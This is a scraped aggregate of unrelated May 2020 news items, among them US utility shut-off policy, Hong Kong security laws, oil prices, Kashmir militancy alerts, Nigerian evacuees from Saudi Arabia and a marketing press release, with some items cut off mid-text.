"It will become a problem," said Mark Wolfe, executive director of National Energy Assistance Directors' Assn., which represents state directors participating in the federal Low-Income Home Energy Assistance Program to help struggling Americans pay their utility bills. "We know it's coming.

Nearly 39 million Americans have sought jobless aid since the coronavirus struck.

The association estimates that as many as 36% of households nationwide may now fall into the income bracket that qualifies them for help through the program. Before the pandemic about 28% qualified, though far fewer actually received help, largely due to a shortage of funds.

The federal program, created in 1981, provides $3.74 billion nationwide annually. How and where that money is spent largely depends on state rules. Consumers can qualify if they earn less than 150% of the federal poverty rate, or 60% of the state median income.

Californians must earn less than 60% of the states median income of $88,343 to qualify. So a family of four with an income of $53,006 or less qualifies. The state also considers other factors including the age of people in the family and existing medical needs.

Story continues

Wolfe said the program normally reaches about 20% of the 32 million eligible households across the U.S. The CARES Act provided another $900 million to the program, enough to subsidize another 2 million homes, Wolfe estimated.

In early May, California received its share  $49.5 million  from the supplemental money approved by Congress.

But it won't be nearly enough, state officials said. The $206 million that California typically receives each year through the program allows it to only serve about 6% of eligible Californians, said David Scribner, acting director of the California Department of Community Services & Development.

He said applications for utility assistance haven't begun to increase since the COVID-19 outbreak, likely because the newly unemployed may not be aware of the program.

Wolfe agreed that increased demand for the programs assistance is temporarily being masked in many states because many people dont learn that they can apply for help until they get a shut-off notice, and those notices have been suspended in many states.

At the end of the moratorium we may see a dramatic increase in applications, Scribner said, predicting that the additional $49.5 million for California will not meet the demand.

Many customers in California wont need to worry about shut-offs any time soon. The state's moratorium prohibiting energy, water, sewer and communications companies under its jurisdiction from suspending or disconnecting service for ratepayers who cannot pay their bills ends April 16, 2021.

The moratorium only applies to investor-owned companies, like Pacific Gas & Electric and Southern California Edison, that are regulated by the state. Many public utilities in California, such as Los Angeles Department of Water and Power, have voluntarily suspended shut-offs and can resume them at any time despite the governor's moratorium because they are not regulated by the state. LADWP said it has suspended shut-offs through the end of the year.

There are already signs of trouble. Southern California Edison, which provides electricity to 15 million people, has seen an increase of nearly 150,000 customers who have fallen behind on their bill payments in the span of one month.

The patchwork of different shut-off policies nationwide may lead to disparities in different states in how long people have to pay the bill and how soon utilities get turned off if they can't. In half of states there are no statewide orders, so individual utility companies decide. In some states, water cant be turned off but other utilities can. As in California, most statewide orders dont apply to utilities not regulated by the state, such as utility cooperatives and municipality governed utilities, which serve about 30% of the country.

Most states don't require utility companies to publicly disclose the number of shut-offs that occur or how many customers are behind on their bills, so the scope of what is coming as states reopen is difficult to track.

Low-income advocates are pushing Congress for a national moratorium on shut-offs for the length of the national emergency and a six-month grace period to allow people to pay the bills once it ends.

Rather than add money to the Low-Income Home Energy Assistance Program, Jean Su, director of the Center for Biological Diversity's energy justice program, said Congress needs to provide monthly direct payouts to families.

"We asked for basically bill forgiveness for this entire period for low-wealth families, Su said. "The big threat is how crippling the debt will be at the end of this. If the federal government cannot bail people out, then states will have to take it on. And probably the utilities will go to their regulators and jack up rates."

Utilities are primarily regulated at the state level, and there has been pushback to the idea of a federally mandated ban on utility shut-offs due to unpaid bills because of the pandemic. A national moratorium was removed from the CARES Act in final negotiations, Su said. Democrats are trying again in the new $3-trillion coronavirus spending package that passed the House this month.

Sen. Jeff Merkley (D-Ore.) said a national moratorium and more money for LIHEAP are stopgap measures to keep consumers' utilities connected until the direct aid in the CARES Act arrives, including enhanced unemployment benefits and stimulus payouts.

We hope these shock absorbers will be sufficient to avoid a situation where we help people for a few months and then things get turned off, Merkley said.

Some in the energy industry have been vocal about opposing a national moratorium on shut-offs or a ban on collecting utility debts during the crisis, saying state regulators and the industry are already working together to address the crisis.

"For Congress to engage now seems akin to coming to the table to address a problem after it has already been handled and resolved," wrote Brandon Presley, president of the National Assn. of Regulatory Utility Commissioners, in a letter to congressional leaders.

Adam Benshoff, executive director for regulatory affairs for the Edison Electric Institute, which represents investor-owned electric companies that provide electricity for more than 200 million Americans, said such moves would make it hard for companies to work with state regulators and customers to develop payment plans.

"A federal moratorium on service disconnections fails to recognize that different states will recover at different times from the pandemic and, instead, imposes a one-size-fits-all approach to recovery when the reality will be very different," Benshoff said in a statement.

Utilities, regulators and many in the industry are asking Congress for at least another $4.3 billion this year for LIHEAP to be included in the next package, which would more than double what the program received for fiscal 2020. They've also encouraged lawmakers to approve aid directly to utilities to cover those who don't qualify for the low-income assistance program.

States including California are starting to work with utility companies to ensure they won't immediately call in the debts when the moratoriums lift, but there is no guarantee that millions of low-income people won't suddenly find themselves owing thousands of dollars.

If you imagine that somebody hasnt been drawing a paycheck for three to four months and wouldnt be able to afford their utility bills during that time ... theyre not going to be magically able to discover three months' worth of income," said David Pomerantz, executive director of the Energy and Policy Institute, a pro-renewable energy watchdog group.

Utility companies typically plan for defaults of about 10%, but companies arent prepared to absorb the anticipated levels of loss, Wolfe said. California utility companies have not sought a rate increase, but a few companies in other parts of the country have already asked states to allow them to increase rates for all customers, specifically blaming the coronavirus crisis.

Theyve never had this many customers out of a job, he said. Theyre not set up to deal with numbers like this.
China's intelligence agencies may set up bases in Hong Kong, part of a proposal to impose new national security laws from the mainland. There are new fears of harsh enforcement by Chinese authorities, and concern of new protests while the coronavirus pandemic still threatens.

The plan was announced on Friday, one day after Beijing put forth national security legislation in the national congress. From Reuters:

Hong Kong activists called on Friday for people to rise up against the proposal, aimed at tackling secession, subversion, terrorism, and foreign interference, that has sent jitters across the business and diplomatic communities. ()

In his annual report to the Chinese parliament, Premier Li Keqiang said China will establish a "sound" legal system and enforcement mechanisms to ensure national security in Hong Kong and Macau, its other semi-autonomous city. The proposed legislation for Hong Kong requires the territory to quickly finish enacting national security regulations under its mini-constitution, the Basic law, according to a draft seen by Reuters. The document said the laws will safeguard the central government's "overall jurisdiction" as well as Hong Kong's "high autonomy". "When needed, relevant national security organs of the Central People's Government will set up agencies," in Hong Kong to safeguard national security, the draft said.

Read more:

Beijing may base security agencies in Hong Kong as part of new laws

"One de-facto reality that has been recurring in Hong Kong for some time now is that all important decisions related to Hong Kong are made by Beijing. [The move to enact the proposed national security legislation] should be viewed no less than a death sentence for Hong Kong."  William Yang (@WilliamYang120) May 22, 2020

Latest for @dwnews  After #Beijing revealed details of the proposed national security legislation for #HongKong, I talked to @AlvinYeungnk, @ayhcheung and Dr. Ma Ngok about the potential impact of the controversial law on #HongKong and the city's future.https://t.co/zPZcoioUEM  William Yang (@WilliamYang120) May 22, 2020

""Regardless of how you name the legislation, the foundation of freedom, which sets Hong Kong apart from China, will be challenged, damaged and eventually be gone," said @AlvinYeungnk.  William Yang (@WilliamYang120) May 22, 2020

[IMAGE: Hong Kong, a photo from the Chinese government: gov.cn]
Source: Xinhua| 2020-05-22 22:36:56|Editor: huaxia

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MINSK, May 22 (Xinhua) -- The World Bank has approved a 90-million-euro (about 98 million U.S.-dollar) package to help Belarus combat COVID-19, BelTA news agency reported Friday, citing the bank's representative office in the country.

The package aims to help Belarus take effective and timely actions to respond to the COVID-19 pandemic by strengthening the country's national healthcare system, said the report.

It will address the healthcare system's immediate needs for medical equipment, supplies, and training to treat severe cases of COVID-19, as well as personal protective equipment for health workers, the World Bank office said.

The package will also finance communications activities to promote social distancing and best hygiene practices, and strengthen public health laboratories and epidemiological capacity for early detection, confirmation, and reporting of cases. Enditem
For weeks, Ive called on HHS to expedite the process of delivering congressionally approved resources to our most vulnerable neighbors and the dedicated men and women who work around the clock to care for them, Spanberger said Friday.

Today, Im encouraged that HHS is finally recognizing the need to respond to the severity of this crisis in our nursing homes and assisted living facilities.

This funding is not nearly enough to account for the COVID-19 testing, personal protective equipment, and staffing that will be needed in the weeks and months to come, she said. Additionally, HHSs funding methodology has excluded most assisted living facilities from receiving payments, which could leave behind thousands of central Virginia residents and their families in a moment of extreme uncertainty.

The American Health Care Association and National Center for Assisted Living welcomed the funding for nursing homes on Friday, but reminded the administration that other long-term care providers also need help.
New Delhi: Days after incurring huge set back in the Kashmir Valley with security forces eliminating its top commanders regularly, intelligence agencies have inputs that Hizbul Mujahideen is regrouping and it plans to strike back within 10 days carrying out multiple terror strikes across the valley.

They are planning to carry out large-scale terror attack where they would target security forces, intel says. The agencies said as the weakened Hizbul regroups, its main targets will not just be the security forces deployed in the valley at various places, but it also plans to carry out arms robberies.

Hizbul top commander Riyaz Naikoo, who headed the Valley unit, was eliminated early this month after a pitch battle just minutes away from his home. The terror group plans to avenge Naikoo`s death.

Intelligence agencies said that they are trying to "mobilise innocent youth amid encounter/curfew and COVID".

Sources said that a group of Hizbul Mujahideen terrorists from South Kashmir has reportedly reached Kishtwar. The intel said Hizbul militant Ahraf Moulvi has move from Anantnag to Kishtwar to command the Hizbul cadres in the area.

The agencies said that they are planning to "exploit local youth as cannon fodder for selfish purpose". They are planning to use of stone pelters as human shield while carrying out terror activities.

"Possibility of managed hostage situation cannot be ruled out," Intelligence Bureau has alerted.

Naikoo, an HM leader, was eliminated by security forces on May 6. He was killed during an anti-terrorist operation conducted by the Army and Jammu and Kashmir Police in the Beighpura area of Pulwama district. The 35-year-old carried a bounty of Rs 12 lakh on his head and was a key target for India once he took charge of the Hizbul Mujahideen in Kashmir.

Five Hizbul militants have been spotted near Gurez and they are likely to attempt to enter into Jammu and Kashmir very soon, according to Intel.

Intelligence Bureau has also alerted that the Pakistan has planned to carry out attacks at various Indian Army posts on the Line of Control by their Battle Action Teams.

Two groups of terrorists in the Krishna Ghati and Naushera sectors are likely to strike posts in the area, the agencies have warned.
Charleston, SC (29403)

Today

Cloudy skies with a few showers this afternoon. High around 70F. Winds SW at 5 to 10 mph. Chance of rain 30%..

Tonight

Cloudy with periods of rain. Low 39F. Winds NNE at 10 to 15 mph. Chance of rain 80%. Rainfall around a quarter of an inch.
MALTA - U.S. Sen. Charles Schumer wants to know, why not GlobalFoundries?

After Taiwan Semiconductor Manufacturing Co. announced its plans to build a $12 billion computer chip factory in Arizona using state and federal subsidies that would include a potential deal with the Department of Defense to make chips, Schumer says he would prefer that any such investments be made in GlobalFoundries, which employs 3,000 people at its factory in Malta.

In a letter to the Commerce Department and the Defense Department, Schumer says he has concerns about TSMC making chips for the military that could potentially be stolen by mainland China.

"We have serious questions as to how this project takes into consideration national security requirements and how it aligns with a broader strategy for building a diverse U.S. semiconductor manufacturing supply chain," Schumer wrote in his letter. "We ask that you cease any such negotiations or discussions until you have briefed the relevant authorization and appropriations committees with your plans, including any commitments you have made to funding, tax breaks, licensures, or other incentives."

It's unclear how GlobalFoundries would be in the running to build a similar chip fab. The TSMC factory will be making chips using 5 nanometer designs. GlobalFoundries makes 14 nanometer chips in Malta and has decided not to drop down to the smaller 7 nanometer architecture that is similar to 5 nanometer designs.

It is unclear if GlobalFoundries has lobbied the federal government for subsidies to build a second fab in Malta. The company has significantly cut back its research and development activities to focus on customers for its 14 nanometer chips instead of offering next-generation technology.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

Still, GlobalFoundries CEO Tom Caulfield, who used to run GlobalFoundries Malta fab, supports Schumer's efforts.

We appreciate Senator Schumer's strong support and the support of New York State where we employ more than 4,300 people," Caulfield said. (GlobalFoundries also operates a fab in East Fishkill where 1,300 people work.) "GF stands ready to support the U.S.'s goal of achieving and sustaining a leadership position in semiconductor manufacturing."

Schumer says that GlobalFoundries has been putting in place "highly restrictive export control security measures" at its Malta fab, making it more appealing to the Defense Department for its chip supply.

TSMC is GlobalFoundries' main rival in the so-called foundry business that makes chips for other companies that don't have their own factories.
The development comes more than two weeks after the UK prime minister announced the lifting of lockdown.

More than two weeks after British Prime Minister Boris Johnson announced an easing of the coronavirus lockdown, Nicola Sturgeon has unveiled her plan for Scotland.

The first minister is implementing different measures, at a slower pace, raising questions about how united the United Kingdom really is.

Al Jazeeras Halla Mohieddeen reports from Edinburgh, Scotland.
US President Donald Trump speaks to the press as he departs the White House in Washington, DC, on May 21, 2020.

President Donald Trump and his advisors showed more support for a new round of coronavirus relief spending this week as economic damage from the pandemic mounts.

The president on Thursday said, "I think we're going to be helping people out" and "getting some money for them" as tens of millions of Americans lose paychecks and businesses struggle to survive with public health restrictions still in place in much of the country. He added that the U.S. could take "one more nice shot" at stimulus.

Trump's advisors have echoed his sentiment. On Friday morning, economic advisor Kevin Hassett told CNN that another round of aid is "pretty likely," saying he believes "it's coming sooner rather than later."

Treasury Secretary Steven Mnuchin said Thursday that he sees a "strong likelihood" the U.S. will need more stimulus.

Support has mounted in the White House as Congress fails to strike a consensus on how to lift a U.S. economy collapsing under the weight of the pandemic. More than 38 million people have filed jobless claims since the crisis started, and second-quarter GDP is expected to plunge.

Democrats have pushed for an immediate, sweeping plan to push more spending money to individuals, expand the social safety net during the crisis and make voting safer by expanding mail-in ballot access. The House passed a $3 trillion relief package last week.

After downplaying the need for more federal spending, the GOP-held Senate has started to open the door to a more narrow aid proposal. Senate Majority Leader Mitch McConnell told Trump this week that the next bill should not cost more than $1 trillion, according to Axios. The president has generally showed more comfort with free spending than his Republican allies in Congress.

Policymakers will, of course, have to pin down a lot of details. Democrats have pushed for a second stimulus check to individuals of up to $1,200, and Trump appears to have embraced the idea. Congressional Republicans already backed direct payments once in March.
France's Prime Minister Edouard Philippe is due to announce the date for the second round of mayoral elections on Friday after they were postponed in March over coronavirus fears. Lawmakers have urged for polls to go ahead in June.

The final round of local elections were meant to go ahead on 22 March, but the worsening coronavirus outbreak forced the government to postpone them.

But growing pressure from lawmakers to push ahead with the vote has left authorities with little choice but to clarify their position.

On Friday, Edouard Philippe will put an end to the suspense when he confirms a new date for the poll.

According to local media, the new date could be set for 28 June unless advised otherwise by the national scientific council.

The council's members say the health situation is still too uncertain to be sure of anything but have warned the government to "take into consideration the epidemiological situation fifteen days prior to the poll."

During the first round on 15 March, polling stations were organised to ensure that staff and voters remained at least a meter apart and voters were urged to use hand sanitizer before casting their ballots.

Restart the country

The government was nonetheless criticised for pressing ahead with a first round of voting and this time wants to avoid any fallout.

The prime minister said Wednesday the elections could be held at the end of June if conditions surrounding the health crisis allowed it. He also suggested redoing the elections completely in January 2021.

But next year would be too late reckon some lawmakers. Thirty-six officials, including the mayor of Paris Anne Hidalgo, wrote an op-ed in the weekly Journal du Dimanche denouncing what they described as a "confined democracy" and urging the government to hold the final round of local elections by June.

Out of France's 35,000 cities, towns and villages about 30,000 have already elected their mayor in the first round. But larger cities including Paris, Lyon and Marseille are among the 5,000 remaining.

"France is facing a health crisis, compounded by serious economic and social challenges," the lawmakers wrote. "The electoral uncertainty is depriving municipalities of their mayor and hampering their action, which is however essential for restarting our country," they said.
FLINT, MI--Ten unions representing healthcare workers at McLaren hospitals claim executives arent being transparent about finances and personal protective equipment during the COVID-19 pandemic.

Unions announced in a May 21 press release that members have filed a charge against McLaren, claiming the health system has violated federal labor laws by withholding information.

According to the release, McLaren sent a letter to the unions on May 15 refusing to provide frontline healthcare workers with the information they requested about how much in grant funding the hospital has received for the pandemic and details about PPE inventory.

Multiple unions filed unfair labor practice charges with the National Labor Relations Board on Wednesday, May 20.

Shela Khan Monroe, vice president of labor and employment relations at McLaren, said information has been shared with unions through weekly update meetings, departmental meetings and several union negotiation sessions.

Through our community hospitals and other subsidiaries, McLaren has worked with each of the 24 labor unions and 36 bargaining units across our system since the beginning of the coronavirus pandemic, Khan Monroe said. It is unfortunate that the unions have chosen to try to leverage this crisis environment  when stressors on our health care institutions are at an all-time high and unemployment rates in our communities are skyrocketing  to make baseless allegations to put pressure on employers.

On Monday, hospital employees at McLaren wore stickers to work in support of the unions. Its uncertain how many people participated but more than 5,000 stickers were distributed, according to the press release.

Kelly Indish, president of AFSCEM Local 875 representing nurses at McLaren Flint, said the lack of transparency reeks of suspicion.

This is corporate greed at its finest. McLaren doing whats best for whom? Indish said.

Unions were outraged after finding out McLaren executives refused to cap their salaries at $1 million, according to the release. Coalition leaders previously asked executives to cap their salaries so that the $8 million saved could be reinvested into the frontline.

Khan Monroe said the health care system is doing everything it can to ensure responsible fiscal stewardship during crisis.

We have negotiations pending with several of the unions involved in the coalition, and while we are deeply disappointed in these recent tactics, we will continue to work towards productive outcomes for all concerned, Khan Monroe said.

Sharon Adlam, a nursing clerk at McLaren Bay Region, said healthcare worker should receive hazard pay.

Truck drivers will receive hazard pay for dealing with inanimate objects, while we are dealing with human lives," Adlam said.

According to the release, McLaren executives have not provided frontline workers with as much hazard pay or COVID-19 paid leave banks as other hospitals. Workers at McLaren can get additional paid time off if they test positive for the virus.

The release states other health systems have provided additional paid time off for employees without as many restrictions as McLaren has.

The unions in the coalition are the Michigan Nurses Association, AFSCME Local 875, AFSCME Local 2650, IAEP Local 804, UAW Local 362, OPEIU Local 459, Teamsters Local 332, SEIU Healthcare Michigan, OPEIU Local 40, and UNITE HERE! Local 688.

READ MORE

Complete coverage at mlive.com/coronavirus

Thursday, May 21: Latest developments on coronavirus in Michigan

Trump visits Michigan amid coronavirus pandemic, historic flooding and economic downturn
FILE PHOTO: The sun sets behind a crude oil pump jack on a drill pad in the Permian Basin in Loving County

By Jessica Resnick-Ault

NEW YORK (Reuters) - U.S. crude prices jumped 7% on Friday to their highest since March, on strengthening fuel demand as countries around the world eased travel restrictions they had imposed to curb the spread of the coronavirus.

U.S. crude <CLc1> gained 19.7% in the week and Brent crude <LCOc1> rose 5.2% after a week of bullish news. Both contracts gained for the third consecutive week.

West Texas Intermediate (WTI) oil settled up $1.87, or 6.8% at $29.43 a barrel, just off the session peak of $29.92, its highest since mid-March. WTI soared 9% in the previous session.

Brent crude <LCOc1> settled up $1.37, or 4.4% a barrel at $32.50. Brent rose nearly 7% on Thursday.

The second-month contract for U.S. crude traded at a discount to the first month for the first time since late February, implying market tightness, said Bob Yawger, director of energy futures at Mizuho in New York. <CLc1-CLc2>

"It is no accident the spread switched after EIA crude oil storage, and storage at the NYMEX delivery site at Cushing, both posted up their first storage draws in weeks in Wednesdays storage report," he said.

The Organization of the Petroleum Exporting Countries and other major producers have cut supplies to reduce a glut, and now there also are signs of improving demand. Data showed China's daily crude oil use rebounded in April as refineries ramped up operations.

Still, the market remained cautious with the coronavirus pandemic far from over and new clusters of infection emerging in some countries where lockdowns have eased.

"Oil prices have been up significantly since yesterday thanks to a better assessment of the situation by the International Energy Agency (IEA)," Commerzbank said in a note.

The IEA expects global crude inventories to fall by about 5.5 million barrels per day (bpd) in the second half.

It also expects oil demand this year to fall by 8.6 million bpd, smaller by 690,000 bpd than the decline it forecast last month. It expects non-OPEC supply to fall by 3.2 million bpd.

Story continues

Barclays raised its forecasts for Brent and WTI by $5-$6 a barrel for 2020 and by $16 a barrel for 2021. It now sees Brent prices averaging $37 a barrel and WTI at $33 this year. For 2021, the bank expects Brent to average $53 a barrel while WTI averages $50.

"The sheer size and speed of the disruption and associated inventory overhang will take time to get fully absorbed, in our view," Barclays analyst Amarpreet Singh said in a note.

On Wednesday, the U.S. Energy Information Administration said the country's crude inventories fell unexpectedly. [EIA/S] This reduced the risk that prices will plummet ahead of the front-month contract expiring next week.

"With the drawdown, it shouldn't be as perilous as it was last time," said John Kilduff, a partner at Again Capital Management in New York. Ahead of last month's contract expiration, fear of storage shortages pushed the contract into negative territory for the first time on record.

Still, market participants remain skittish about the upcoming expiration date, Kilduff said.

Graphic: Weekly changes in petroleum stocks in the U.S., https://fingfx.thomsonreuters.com/gfx/editorcharts/bdwvkrmkxpm/eikon.png

Record production cuts of nearly 10 million bpd by OPEC and associated producers - collectively known as OPEC+ - have kicked in for May and June, with Saudi Arabia, Kuwait, and the UAE pledging to cut beyond their commitments.

Oman said on Friday that it is considering cutting output further in June as well.

(Additional reporting by Ahmad Ghaddar in London and Aaron Sheldrick in Tokyo; Editing by David Gregorio, Louise Heavens and Steve Orlofssky)
Zimbabwe welcomed the U.S. decision Thursday to remove two of its banks from the sanctions list, saying the move will allow them to easily obtain credit to address the country's moribund economy.

However, the ruling ZANU-PF party is calling for more from the U.S. and other Western countries that imposed the sanctions in 2002.

The U.S. Treasury Department's Office of Foreign Assets Control gave Infrastructure Development Bank of Zimbabwe and Agricultural Development Bank of Zimbabwe a clean bill of health.

Mthuli Ncube, the country's finance and economic development minister, could not hide his joy over the news to reporters in Harare.

"Of course, any removal of any institution, especially a financial one, is very positive indeed," he said. "This will help the bank access credit lines and remove any restrictions that pertain to KYC  know-your-customer  challenges, which is really what happens when a bank is on the spotlight, the way they were. Now that they [sanctions] have been lifted, the banks will find it easier to do business going forward. So this is a very welcome development indeed."

Tafadzwa Mugwadi, the director of information in the ruling ZANU-PF party, said the party is not satisfied, though President Emmerson Mnangagwa's efforts to reengage the West are bearing fruit.

"We are not happy as long as part of these sanctions, the major parts of these sanctions are still in place," Mugwadi said. "Our position as ZANU-PF is that the illegal sanctions imposed on Zimbabwe from the United States of America have no place in this civilized world, so that the people of Zimbabwe can fully realize their full potential without any hinderances, so that the government can be measured on the basis of its capacity without these hinderances, without sanctions in place."

The U.S. and several Western countries and institutions, like the European Union, imposed sanctions on some state institutions and some senior party officials in 2002 following reports of election rigging and human rights abuses. Harare blames the sanctions for the country's moribund economy, while critics blame bad government policies for causing the economy to catch a cold.

Rejoice Ngwenya, an independent political commentator, said the U.S. may have lifted sanctions on the two banks to help the country fight the COVID-19 pandemic but ruled out giving in to ZANU-PF demands.

"The present government has not shown any appetite for reforms. Given their response to the abductions of the [opposition] MDC Alliance youth leaders, it would be really unlikely that the local American embassy recommend removal of any political leaders, unless those political leaders are targets of possible liberal reform," Ngwenya said.

The U.S. Embassy in Harare was not immediately available for a comment.

Earlier this month, three members of Zimbabwe's main opposition party were allegedly abducted and tortured after taking part in a protest demanding that the government pay those affected by the ongoing coronavirus lockdown. The government has said it is investigating the matter.


ATLANTA, GA / ACCESSWIRE / May 22, 2020 / Findit, Inc. a Nevada Corporation (OTC PINK:FDIT) owner of Findit.com, a full service social networking management platform which provides online marketing services, has areas available right now to accommodate roofing companies and roofers throughout the United States that are looking to improve their overall online presence.

Findit's program for online marketing for roofers is specific to the locations and the services that roofers want to offer potential customers in certain areas. The campaigns that we run for roofers and roofing companies are on-going and improve tangible search results in Google, Yahoo, Bing and Findit along with branding throughout social networking sites.

While many roofing companies may be utilizing pay-per-click (PPC) marketing strategies, creating organic, sustainable, and tangible search results over time can help increase your lead generations while reducing your cost per lead.

Findit's team of highly skilled content writers and search engine optimization specialists will be able to create content for you both on your website, if you like, and off-site to improve your positioning in search results. Each time this occurs, you are removing a competitor that used to be in that search spot and replacing it with your name.

Peter Tosto of Findit stated, "We have been working with several roofing companies in the Southeast for several years now on a monthly recurring basis. As a result, they have been able to expand the areas that they service and the services that they provide because of their results they have received from their Findit campaign."

Findit offers tiered online marketing packages whereby the roofing companies that engage us will receive content created on a daily basis that is posted and shared for search engines to index and for social networks to see.

The content that is being created usually includes in a single post, text that describes the services that you offer so search engines now how to index your content, a video link, photos from your photo galleries, and a backlink to your website. By creating individually crafted pieces content targeting each service you provide in the areas you provide them in, search engines can prioritize you above your competitors when it comes to roofing, roof repairs, and new roofs in the areas that you service.

Our customers have been with us for several years and continue to have us lead their overall online marketing strategy because of the tangible search results that have been created through our campaigns.

Once we take on a roofing company that services a specific location, we do not take on another roofing company in that area. This limits any competitors from hiring Findit to compete against you while we are working on your campaign. This is very different from pay-per-click marketing campaigns where your competitors can simply go online and outbid you for certain keywords; this does not happen with a Findit campaign.

Call us today to start your campaign at 404-443-3224. We have areas throughout the United States and other countries available now. Due to on-going monthly marketing campaigns with Titan Roofing of Charleston South Carolina and American Craftsman Renovations of Savannah Georgia, we do not have the Greater Charleston SC or Savannah GA areas and most of the surrounding towns available.

About Findit, Inc.

Findit.com which is a Social Media Content Management Platform that provides an interactive search engine for all content posted in Findit to appear in Findit search. The site is an open platform that provides access to Google, Yahoo, Bing and other search engines access to its content posted to Findit so it can be indexed in these search engines as well. Findit provides Members the ability to post, share and manage their content. Once they have posted in Findit, we ensure the content gets indexed in Findit Search results. Findit provides an option for anyone to submit URLs that they want indexed in Findit search result, along with posting status updates through Findit Right Now. Status Updates posted in Findit can be crawled by outside search engines which can result in additional organic indexing. All posts on Findit can be shared to other social and bookmarking sites by members and non-members. Findit provides Real Estate Agents the ability to create their own Findit Site where they can pull in their listing and others through their IDX account. Findit, Inc., is focused on the development of monetized Internet-based web products that can provide an increase in brand awareness of our members. Findit, Inc., trades under the stock symbol FDIT on the OTC Pinksheets.

Safe Harbor:

This press release contains forward-looking information within the meaning of Section 21E of the Securities Exchange Act of 1934, as amended (the "Exchange Act"), including statements regarding potential sales, the success of the company's business, as well as statements that include the word believe or similar expressions. Such forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause the actual results, performance or achievements of Findit, Inc. to differ materially from those implied or expressed.

CONTACT:

Clark St. Amant

404-443-3224

SOURCE: Findit, Inc.

View source version on accesswire.com:https://www.accesswire.com/591047/Findit-is-Offering-Roofing-Companies-Online-Marketing-Services-Call-to-See-If-Your-Area-is-Still-Available
A total of 292 Nigerians who had been stranded in Saudi Arabia due to the restriction of movements caused by the rampaging coronavirus disease, on Tuesday, landed in Abuja, the Federal Capital Territory.

They were the first batch of the 11,600 Nigerians the government of Saudi Arabia had expressed its intention to airlift back home.

The evacuees, according to Nigerias minister of foreign affairs, Geoffrey Onyeama, include nursing mothers and children.

In a post shared on his Twitter handle on Wednesday morning, the minister said the whole 292 returnees have been accommodated in hotels in Abuja to observe the mandatory 14-day-quarantine.

He said; We received 292 evacuees stranded in Saudi Arabia yesterday. The Saudi Government transported them to Abuja. A large number are nursing mothers and children and they are all comfortably settled in hotels under the mandatory 14 days quarantine.

PREMIUM TIMES findings revealed that some students of various universities in the kingdom were part of the returnees. They are students on scholarships sponsored by the Arabian country, who had just completed their 2019/2020 academic session.

The students who made the trip are from about six universities including the University of Qosseem, University of Dammom, University of King Abd Azeez, among others.

But some of their colleagues who could not make it have blamed the development on the poor response to their request for pass from Nigerias embassy in Saudi Arabia.

Findings by this newspaper revealed that a total of 149 students from Islamic University, Medina, who had earlier been scheduled to join the first flight could not make the trip because they could not travel from Medina to Jeddah due to the ban on intercity movements.

But the embassy has denied the allegation, saying there was no official communication between it and the universities over the matter.

More complaints

In a phone interview with our reporter, the president, Nigeria students union, Islamic University, Medina, Saudi Arabia, Adegbeye Abdul-Kabeer, said they could not meet up with the flight because both the university and the embassy failed to secure the pass for them.

We werent able to make the trip due to lack of interstate permits which were supposed to be applied for either by the university or the Nigeria embassy from Saudi foreign affairs ministry. But none of both followed the due protocols they were supposed to follow, Mr Adegbeye said.

Apart from the 149 who failed to make the journey on Tuesday, there are numerous others, who claimed they had earlier been scheduled to be airlifted home on Friday but are now having difficulties accessing the relevant document that could help them make the trip.

According to one of them, who asked not to be named, the individual universities are ready to procure their flight tickets to join the Saudi Arabia airline, but these institutions had required them to get letters that could void all possible hindrances upon landing in Nigeria.

In a letter addressed to the Nigerian ambassador in Riyadh, Saudi Arabia, a copy of which was shared with PREMIUM TIMES, the Association of Nigerian Students in Saudi Arabia, Imam Universitys branch, informed the embassy that the institutions department of scholarship has directed that they seek approval from the embassy to return home.

The correspondence, which was shared with our reporter by the associations president, Abdul-Hakeem Adesokan, listed the required assistance needed from the embassy to include letter from the embassy addressed to Saudi Arabias foreign affairs ministry voiding all hindrances and resistance for the safe return of the students back to Nigeria and carry out a COVID-19 test before departure.

The letter, which was dated May 3, also requested; A letter from the embassy directed to Saudi Arabia airline in order to conclude on a fixed date for the travelling.

Embassy denies allegation

Some officials of the embassy who asked not to be named as they were not permitted to speak to journalists, said what the students demanded was not their responsibility.

In separate telephone interviews with our reporter, they said the protocol in Saudi Arabia is that the sponsor of every traveller should be responsible to request for pass.

And apart from that, we do not have any official correspondence addressed to the embassy from these universities. So how do we present such an issue to the country where it is mandatory that we seek clarification and approval for all actions on such matters like this, one of the officials said.

Another official queried if the embassy ever provided any pass for those who made the trip.

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So just ask them if the embassy gave a pass to those who made the trip. The universities that provided tickets are supposed to get a pass for them. We are not the sponsor of their journey and we dont have the details of which aircraft is taking them, what time is their flight and how did they make the arrangement? These are critical issues that can only be addressed by their sponsors, the second official added.

Meanwhile, the spokesman for Nigerias foreign affairs ministry, Ferdinand Nwoye, also refuted the allegation by the students, saying the ministry and the countrys missions globally have been very committed to protecting the interests of Nigerians in the diaspora.

According to Mr Nwoye, there is a need for synergy on the part of both the embassy and the government of Saudi Arabia.

Mr. Nwoye said; We understand the urge to return home by every stranded Nigerian abroad but there are protocols to be observed. Without these protocols followed, efforts might not yield the desired result. So lets understand that the situation on our hands demands special arrangements.
Philip Heimann

Ogilvy has named Philip Heimann worldwide chief marketing & growth officer and has promoted David Ford to worldwide chief communications officer. Heimann has been with Ogilvy since 2008, leading teams working on such brands as S.C. Johnson, Coca-Cola and Netflix. He has led the firms Paris office, as well as its new business and marketing functions for EMEA. In his new role, Heimann will oversee Ogilvys marketing and new business efforts. Ford came to Ogilvy in 2019 as chief communications officer, USA. He was previously senior vice president of corporate communications and PR at Fusion Media Group. Ford has also served as senior director of publicity at ABC News, where he led media relations for a number of properties including World News with Diane Sawyer. In his new position, he will be responsible for all of Ogilvys global internal and external communications activities and support content development and activation across all Ogilvy channels globally.

Vaughn Jennings

Bullpen Strategy Group has hired Vaughn Jennings as senior vice president at DC-based Bullpen Strategy Group. Jennings comes to Bullpen from Airlines for America, the trade group representing major US passenger and cargo airlines, where he most recently served as vice president of communications. He was previously press secretary and director of digital media for former Rep. John Sullivan (R-OK). At Bullpen, he will be tasked with growing the firms strategic and crisis communications practice. Vaughns 15 years of experience working on some of the top communications challenges in Washington, and his most recent work on the CARES Act debate, will be a fantastic resource for our client, said Bullpen founder and CEO Joe Pounder.

Alexandra Wood

